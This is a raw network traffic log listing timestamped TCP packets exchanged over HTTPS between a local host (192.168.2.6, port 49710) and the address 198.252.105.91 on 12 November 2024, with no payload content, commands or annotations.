Nov 12, 2024 15:55:03.008907080 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.008977890 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.008991957 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.009037018 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.009046078 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.009107113 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.009130001 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.009146929 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.009154081 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.009166002 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.009380102 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.009393930 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.009440899 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.009449959 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.009572983 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.009592056 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.009625912 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.009633064 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.009645939 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.009859085 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.009874105 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.009917974 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.009926081 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.055284023 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.115966082 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.115986109 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.116055012 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.116080046 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.116122961 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.116215944 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.116231918 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.116276979 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.116283894 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.116314888 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.116441965 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.116477966 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.116492987 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.116499901 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.116525888 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.116543055 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.116760969 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.116775990 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.116817951 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.116826057 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.116864920 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.117033958 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.117048979 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.117084980 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.117093086 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.117116928 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.117134094 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.117321014 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.117336988 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.117377043 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.117383957 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.117413044 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.117707014 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.117721081 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.117763996 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.117773056 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.117811918 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.118855000 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.118870020 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.118918896 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.118926048 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.118959904 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.119142056 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.119157076 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.119199991 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.119206905 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.119263887 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.120618105 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.120639086 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.120683908 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.120696068 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.120729923 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.120852947 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.120867014 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.120913029 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.120918989 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.120950937 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.121233940 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.121248960 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.121290922 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.121299028 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.121336937 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.121565104 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.121578932 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.121628046 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.121634960 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.121721983 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.121793032 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.121807098 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.121849060 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.121856928 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.121885061 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.122050047 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.122065067 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.122107983 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.122114897 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.122148991 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.122495890 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.122509956 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.122555017 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.122560024 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.122591019 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.122601032 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.122616053 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.122643948 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.122654915 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.122674942 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.122688055 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.123262882 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.123277903 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.123322010 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.123328924 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.123361111 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.123769999 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.123784065 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.123867989 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.123883009 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.123924971 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.124100924 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.124114990 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.124145985 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.124151945 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.124175072 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.124190092 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.124313116 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.124326944 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.124363899 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.124371052 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.124403000 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.124771118 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.124784946 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.124818087 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.124824047 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.124854088 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.124861956 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.124973059 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.124986887 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.125025988 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.125034094 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.125063896 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.125226021 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.125241041 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.125274897 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.125282049 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.125319004 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.242041111 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.242073059 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.242145061 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.242175102 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.242198944 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.242216110 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.242443085 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.242460012 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.242507935 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.242516994 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.242549896 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.242598057 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.242614031 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.242643118 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.242650032 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.242674112 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.242690086 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.242762089 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.242775917 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.242819071 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.242825985 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.242861032 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.243293047 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.243308067 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.243354082 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.243361950 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.243396997 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.243433952 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.243449926 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.243493080 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.243504047 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.243536949 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.243561983 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.243576050 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.243618011 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.243624926 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.243635893 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.243655920 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.243657112 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.243669987 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.243681908 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.243727922 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.244299889 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.244313955 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.244370937 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.244378090 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.244411945 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.244453907 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.244468927 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.244503021 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.244510889 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.244537115 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.244596004 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.244610071 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.244646072 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.244652987 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.244684935 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.245246887 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.245261908 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.245305061 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.245311975 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.245325089 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.245343924 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.245346069 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.245357037 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.245369911 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.245397091 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.245502949 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.245517969 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.245543003 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.245548964 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.245570898 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.245584011 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.245589972 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.245604038 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.245632887 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.245640039 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.245666981 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.245678902 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.246288061 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.246306896 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.246351957 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.246359110 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.246370077 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.246388912 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.246390104 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.246401072 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.246416092 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.246448994 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.246593952 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.246608019 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.246650934 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.246658087 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.246694088 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.246934891 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.246951103 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.246994972 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.247004032 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.247035980 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.247229099 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.247247934 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.247284889 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.247291088 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.247302055 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.247304916 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.247318983 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.247324944 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.247344971 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.247347116 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.247369051 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.247374058 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.247396946 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.247419119 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.247481108 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.247494936 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.247544050 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.247550011 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.247585058 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.248106956 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.248121023 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.248166084 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.248172045 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.248204947 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.248270035 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.248284101 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.248320103 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.248327017 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.248337984 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.248347998 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.248362064 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.248364925 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.248374939 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.248389959 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.248429060 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.347307920 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.347333908 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.347404957 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.347424030 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.347466946 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.348959923 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.348973989 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.349036932 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.349045992 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.349081993 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.349284887 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.349301100 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.349375963 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.349384069 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.349420071 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.349730968 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.349745989 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.349793911 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.349801064 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.349836111 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.350729942 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.350744009 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.350789070 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.350795984 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.350831032 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.351063967 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.351082087 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.351124048 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.351130009 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.351160049 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.354710102 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.354723930 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.354782104 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.354788065 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.354824066 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.355058908 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.355073929 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.355123043 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.355129957 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.355170012 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.355652094 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.355667114 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.355709076 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.355715036 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.355751038 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.356048107 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.356062889 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.356095076 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.356101036 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.356127024 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.356143951 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.356635094 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.356648922 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.356684923 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.356690884 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.356709957 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.356713057 CET	443	49710	198.252.105.91	192.168.2.6
